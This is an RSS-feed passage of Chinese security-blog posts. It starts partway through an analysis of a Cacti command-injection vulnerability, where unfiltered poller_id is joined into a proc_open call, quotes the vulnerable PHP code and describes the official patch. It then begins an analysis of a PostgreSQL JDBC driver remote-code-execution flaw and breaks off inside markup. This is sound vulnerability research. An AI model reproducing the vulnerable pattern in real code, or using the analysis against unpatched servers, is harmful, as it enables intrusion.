src="https://wechat2rss.xlab.app/img-proxy/?k=0e625706&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pnPlMaYibpsJvahTylHicoyUgYppwEqtrV6SzcbknHAxVcdlGIDUFmonQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">function poll_for_data() {</span></code><code><span class="code-snippet_outer">   global $config;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">   $local_data_ids = get_nfilter_request_var(&#39;local_data_ids&#39;);</span></code><code><span class="code-snippet_outer">   $host_id        = get_filter_request_var(&#39;host_id&#39;);</span></code><code><span class="code-snippet_outer">   $poller_id      = get_nfilter_request_var(&#39;poller_id&#39;);</span></code><code><span class="code-snippet_outer">   $return         = array();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">   $i = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">   if (cacti_sizeof($local_data_ids)) {</span></code><code><span class="code-snippet_outer">      foreach($local_data_ids as $local_data_id) {</span></code><code><span class="code-snippet_outer">         input_validate_input_number($local_data_id);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">         $items = db_fetch_assoc_prepared(&#39;SELECT *</span></code><code><span class="code-snippet_outer">            FROM poller_item</span></code><code><span class="code-snippet_outer">            WHERE host_id = ?</span></code><code><span class="code-snippet_outer">            AND local_data_id = ?&#39;,</span></code><code><span class="code-snippet_outer">            array($host_id, $local_data_id));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">         $script_server_calls = db_fetch_cell_prepared(&#39;SELECT COUNT(*)</span></code><code><span class="code-snippet_outer">            FROM poller_item</span></code><code><span class="code-snippet_outer">            WHERE host_id = ?</span></code><code><span class="code-snippet_outer">            AND local_data_id = ?</span></code><code><span class="code-snippet_outer">            AND action = 2&#39;,</span></code><code><span class="code-snippet_outer">            array($host_id, $local_data_id));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">         if (cacti_sizeof($items)) {</span></code><code><span class="code-snippet_outer">            foreach($items as $item) {</span></code><code><span class="code-snippet_outer">               switch ($item[&#39;action&#39;]) {</span></code><code><span class="code-snippet_outer">               case POLLER_ACTION_SNMP: /* snmp */</span></code><code><span class="code-snippet_outer">                  if (($item[&#39;snmp_version&#39;] == 0) || (($item[&#39;snmp_community&#39;] == &#39;&#39;) &amp;&amp; ($item[&#39;snmp_version&#39;] != 3))) {</span></code><code><span class="code-snippet_outer">                     $output = &#39;U&#39;;</span></code><code><span class="code-snippet_outer">                  } else {</span></code><code><span class="code-snippet_outer">                     $host = db_fetch_row_prepared(&#39;SELECT ping_retries, max_oids FROM host WHERE hostname = ?&#39;, array($item[&#39;hostname&#39;]));</span></code><code><span class="code-snippet_outer">                     $session = cacti_snmp_session($item[&#39;hostname&#39;], $item[&#39;snmp_community&#39;], $item[&#39;snmp_version&#39;],</span></code><code><span class="code-snippet_outer">                        $item[&#39;snmp_username&#39;], $item[&#39;snmp_password&#39;], $item[&#39;snmp_auth_protocol&#39;], $item[&#39;snmp_priv_passphrase&#39;],</span></code><code><span class="code-snippet_outer">                        $item[&#39;snmp_priv_protocol&#39;], $item[&#39;snmp_context&#39;], $item[&#39;snmp_engine_id&#39;], $item[&#39;snmp_port&#39;],</span></code><code><span class="code-snippet_outer">                        $item[&#39;snmp_timeout&#39;], $host[&#39;ping_retries&#39;], $host[&#39;max_oids&#39;]);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                     if ($session === false) {</span></code><code><span class="code-snippet_outer">                        $output = &#39;U&#39;;</span></code><code><span class="code-snippet_outer">                     } else {</span></code><code><span class="code-snippet_outer">                        $output = cacti_snmp_session_get($session, $item[&#39;arg1&#39;]);</span></code><code><span class="code-snippet_outer">                        $session-&gt;close();</span></code><code><span class="code-snippet_outer">                     }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                     if (prepare_validate_result($output) === false) {</span></code><code><span class="code-snippet_outer">                        if (strlen($output) &gt; 20) {</span></code><code><span class="code-snippet_outer">                           $strout = 20;</span></code><code><span class="code-snippet_outer">                        } else {</span></code><code><span class="code-snippet_outer">                           $strout = strlen($output);</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        $output = &#39;U&#39;;</span></code><code><span class="code-snippet_outer">                     }</span></code><code><span class="code-snippet_outer">                  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  $return[$i][&#39;value&#39;]         = $output;</span></code><code><span class="code-snippet_outer">                  $return[$i][&#39;rrd_name&#39;]      = $item[&#39;rrd_name&#39;];</span></code><code><span class="code-snippet_outer">                  $return[$i][&#39;local_data_id&#39;] = $local_data_id;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  break;</span></code><code><span class="code-snippet_outer">               case POLLER_ACTION_SCRIPT: /* script (popen) */</span></code><code><span class="code-snippet_outer">                  $output = trim(exec_poll($item[&#39;arg1&#39;]));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  if (prepare_validate_result($output) === false) {</span></code><code><span class="code-snippet_outer">                     if (strlen($output) &gt; 20) {</span></code><code><span class="code-snippet_outer">                        $strout = 20;</span></code><code><span class="code-snippet_outer">                     } else {</span></code><code><span class="code-snippet_outer">                        $strout = strlen($output);</span></code><code><span class="code-snippet_outer">                     }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                     $output = &#39;U&#39;;</span></code><code><span class="code-snippet_outer">                  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  $return[$i][&#39;value&#39;]         = $output;</span></code><code><span class="code-snippet_outer">                  $return[$i][&#39;rrd_name&#39;]      = $item[&#39;rrd_name&#39;];</span></code><code><span class="code-snippet_outer">                  $return[$i][&#39;local_data_id&#39;] = $local_data_id;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  break;</span></code><code><span class="code-snippet_outer">               case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */</span></code><code><span class="code-snippet_outer">                  $cactides = array(</span></code><code><span class="code-snippet_outer">                     0 =&gt; array(&#39;pipe&#39;, &#39;r&#39;), // stdin is a pipe that the child will read from</span></code><code><span class="code-snippet_outer">                     1 =&gt; array(&#39;pipe&#39;, &#39;w&#39;), // stdout is a pipe that the child will write to</span></code><code><span class="code-snippet_outer">                     2 =&gt; array(&#39;pipe&#39;, &#39;w&#39;)  // stderr is a pipe to write to</span></code><code><span class="code-snippet_outer">                  );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  if (function_exists(&#39;proc_open&#39;)) {</span></code><code><span class="code-snippet_outer">                     $cactiphp = proc_open(read_config_option(&#39;path_php_binary&#39;) . &#39; -q &#39; . $config[&#39;base_path&#39;] . &#39;/script_server.php realtime &#39; . $poller_id, $cactides, $pipes);</span></code><code><span class="code-snippet_outer">                     $output = fgets($pipes[1], 1024);</span></code><code><span class="code-snippet_outer">                     $using_proc_function = true;</span></code><code><span class="code-snippet_outer">                  } else {</span></code><code><span class="code-snippet_outer">                     $using_proc_function = false;</span></code><code><span class="code-snippet_outer">                  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  if ($using_proc_function == true) {</span></code><code><span class="code-snippet_outer">                     $output = trim(str_replace(&#34;\n&#34;, &#39;&#39;, exec_poll_php($item[&#39;arg1&#39;], $using_proc_function, $pipes, $cactiphp)));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                     if (prepare_validate_result($output) === false) {</span></code><code><span class="code-snippet_outer">                        if (strlen($output) &gt; 20) {</span></code><code><span class="code-snippet_outer">                           $strout = 20;</span></code><code><span class="code-snippet_outer">                        } else {</span></code><code><span class="code-snippet_outer">                           $strout = strlen($output);</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        $output = &#39;U&#39;;</span></code><code><span class="code-snippet_outer">                     }</span></code><code><span class="code-snippet_outer">                  } else {</span></code><code><span class="code-snippet_outer">                     $output = &#39;U&#39;;</span></code><code><span class="code-snippet_outer">                  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  $return[$i][&#39;value&#39;]         = $output;</span></code><code><span class="code-snippet_outer">                  $return[$i][&#39;rrd_name&#39;]      = $item[&#39;rrd_name&#39;];</span></code><code><span class="code-snippet_outer">                  $return[$i][&#39;local_data_id&#39;] = $local_data_id;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  if (($using_proc_function == true) &amp;&amp; ($script_server_calls &gt; 0)) {</span></code><code><span class="code-snippet_outer">                     /* close php server process */</span></code><code><span class="code-snippet_outer">                     fwrite($pipes[0], &#34;quit\r\n&#34;);</span></code><code><span class="code-snippet_outer">                     fclose($pipes[0]);</span></code><code><span class="code-snippet_outer">                     fclose($pipes[1]);</span></code><code><span class="code-snippet_outer">                     fclose($pipes[2]);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                     $return_value = proc_close($cactiphp);</span></code><code><span class="code-snippet_outer">                  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                  break;</span></code><code><span class="code-snippet_outer">               }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">               $i++;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">         }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">   }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">   print json_encode($return);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 14px;">首先会从请求中获取到$local_data_ids,$host_id,$poller_id三个参数：<span style="display: none;line-height: 0px;">‍</span></span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=6d277e40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0prlWx18wf1e7NOn4wniaIfs2ak0EAWGIvJia7V1yOz6uDZI5PoiaqMAg5A%2F640%3Fwx_fmt%3Dpng"/></p><p>get_filter_request_var会对传入的值进行过滤：</p><p><img class="rich_pages wxw-img" data-ratio="0.6862745098039216" style="width: 1734px;height: 1190px;" data-type="png" data-w="1734" src="https://wechat2rss.xlab.app/img-proxy/?k=e9f04f82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pULTbb0RyhSEH9e0ZVRcFn8j6N6Llm1oQicHcLJHklEhpPRyHlIkWVWg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">get_nfilter_request_var可以获取多组数据但未进行过滤。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">function get_nfilter_request_var($name, $default = &#39;&#39;) {</span></code><code><span class="code-snippet_outer">   global $_CACTI_REQUEST;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">   if (isset($_CACTI_REQUEST[$name])) {</span></code><code><span class="code-snippet_outer">      return $_CACTI_REQUEST[$name];</span></code><code><span class="code-snippet_outer">   } elseif (isset($_REQUEST[$name])) {</span></code><code><span class="code-snippet_outer">      return $_REQUEST[$name];</span></code><code><span class="code-snippet_outer">   } else {</span></code><code><span class="code-snippet_outer">      return $default;</span></code><code><span class="code-snippet_outer">   }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 14px;">获取完相关参数后，接下来会从poller_item这张表中取出所有符合满足条件的items进行遍历：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5721442885771543" style="width: 719px;height: 415px;" data-type="png" data-w="1996" src="https://wechat2rss.xlab.app/img-proxy/?k=a226f423&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0p6jd3yDgFibSTbJR6xGlzw80quZjH7YySDOdBuYTfc16LOBu4whicNkbg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=c4da2e6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0psA2vdTSOf4W4dUFsA7FajrDhJOsiaLicLnpYzdic6yrKOYIcWDor3zIibQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">在查询出的item满足POLLER_ACTION_SCRIPT_PHP也就是2时，将会把获取到的poller_id拼接到proc_open命令中，配合前面提到的poller_id的传输未进行任何相关过滤操作，造成命令注入，并最终执行任意命令：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */</span></code><code><span class="code-snippet_outer">   $cactides = array(</span></code><code><span class="code-snippet_outer">      0 =&gt; array(&#39;pipe&#39;, &#39;r&#39;), // stdin is a pipe that the child will read from</span></code><code><span class="code-snippet_outer">      1 =&gt; array(&#39;pipe&#39;, &#39;w&#39;), // stdout is a pipe that the child will write to</span></code><code><span class="code-snippet_outer">      2 =&gt; array(&#39;pipe&#39;, &#39;w&#39;)  // stderr is a pipe to write to</span></code><code><span class="code-snippet_outer">   );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">   if (function_exists(&#39;proc_open&#39;)) {</span></code><code><span class="code-snippet_outer">      $cactiphp = proc_open(read_config_option(&#39;path_php_binary&#39;) . &#39; -q &#39; . $config[&#39;base_path&#39;] . &#39;/script_server.php realtime &#39; . $poller_id, $cactides, $pipes);</span></code><code><span class="code-snippet_outer">      $output = fgets($pipes[1], 1024);</span></code><code><span class="code-snippet_outer">      $using_proc_function = true;</span></code><code><span class="code-snippet_outer">   } else {</span></code><code><span class="code-snippet_outer">      $using_proc_function = false;</span></code><code><span class="code-snippet_outer">   }</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=cd3f279a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pwcanjyWDjac8XPUl3iaDaj7IWxngrjUh6zsTIRHkgXphZ1LgEbjZjpg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=928b9e29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pdINo3pzIaEuzgXVbhH4JibaZ2pteSuNbDQVibNQFezlwibrvdmHxzR2icw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.44494584837545126" data-s="300,640" style="" data-type="png" data-w="2216" src="https://wechat2rss.xlab.app/img-proxy/?k=11a3aa1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pYdYLiaXEnjqUgn99aoraRYxr8U7C3eOOI5VXFgwgMyR4faDkhFefEYA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 28px;"><br/></span></p><p><span style="font-weight: bold;font-size: 28px;">后记</span></p><p><span style="font-size: 14px;">官方补丁修复：</span></p><p><span style="font-size: 14px;">对get_client_addr()方法进行了重写</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5480572597137015" style="width: 2934px;height: 1608px;" data-type="png" data-w="2934" src="https://wechat2rss.xlab.app/img-proxy/?k=ceb53cda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pJfEwIlj3IqxWQdYBkXk98uEtsPh5ia7r1WRcia1F47FYZTgPSojaX9mw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.5244565217391305" style="width: 2944px;height: 1544px;" data-type="png" data-w="2944" src="https://wechat2rss.xlab.app/img-proxy/?k=10341090&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pibnXnLjrE4Iw65Z5o8vdEq4oQr43QYlKpHBMkK98AqduUuQqUfGYRow%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">并用包含过滤逻辑的get_filter_request_var()函数来获取poller_id参数：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5560875512995896" style="width: 2924px;height: 1626px;" data-type="png" data-w="2924" src="https://wechat2rss.xlab.app/img-proxy/?k=34eac25e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pp4zdLHMJMcibdHPSxdfOO7uO9L6mQKOPx5m5SwWvRbYUksicKJvv6SHg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">针对PHP &lt;5.4的版本：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=d24cd83e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5uUnmcGcrcicnxMU9VMAt0pRiael2fpq02ZyXEEK7jwqY41RIWnmILx8oz1icArN5dJa7kKkd8Pwsww%2F640%3Fwx_fmt%3Dpng"/></p></article><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484070">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f5040018&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247484070%26idx%3D1%26sn%3D621597343ca84b16ec574ce0e9b5a5c9%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 16 Dec 2022 00:00:00 +0800</pubDate>
    </item>
    <item>
      <title>PostgreSQL-JDBC-Driver_远程代码执行分析[CVE-2022-21724]</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247484026&amp;idx=1&amp;sn=99eb3e96c9bb4c1941202dcaacf16099</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>深蓝</span> <span>2022-12-01 20:59</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a3278f79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr6OAvoxx0YxaoSorUDaGRv8lP2hDDJRrsp0BibIBl6t3Yc2Ww2BTsTzltXIcmCJoFQlZN0405t2jOA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 28px;font-weight: bold;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">前言</span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">日常分析笔记。</span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RlBc-1669787620269&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LJhU-1669787620266&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;日常分析笔记。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bCHJ-1669787622491&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OYra-1669787622488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UQVU-1669788145222&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cxFs-1669788145223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞简介&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBpa-1669787627902&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aohl-1669787627900&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;JDBC&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#f73131&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;一般指Java数据库连接。 Java数据库连接，（Java Database Connectivity，简称&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;JDBC&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#f73131&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;）是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口，提供了诸如查询和更新数据库中数据的方法。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iAki-1669787628216&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h9D2-1669787628215&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE Detail：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;boAu-1669788308787&#34;,&#34;name&#34;:&#34;quote&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yk7m-1669788304428&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;45ki-1669788304429&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via " authenticationpluginclassname="postgresql_jdbc_driver &lt;=42.3.1&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:15},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3roB-1669788832809&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XaOR-1669788832808&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞复现&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;llwi-1669796611750&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OlEC-1669796611751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Postgresql docker环境搭建：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eXCg-1669796621846&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QfYK-1669796621844&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;JFQN-1669796659322&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://blog.csdn.net/qq_35744706/article/details/124114995&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mOVC-1669796659321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://blog.csdn.net/qq_35744706/article/details/124114995&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8nB9-1669796659323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xjkV-1669789504406&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xf7U-1669789504407&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;官方文档：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34